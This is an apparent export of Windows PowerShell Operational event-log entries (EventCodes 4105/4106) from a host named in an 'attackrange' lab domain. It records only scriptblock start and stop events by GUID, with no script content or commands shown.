Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041379
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041374
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041373
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041354
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041351
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041350
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041349
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041348
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041332
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041331
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041326
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
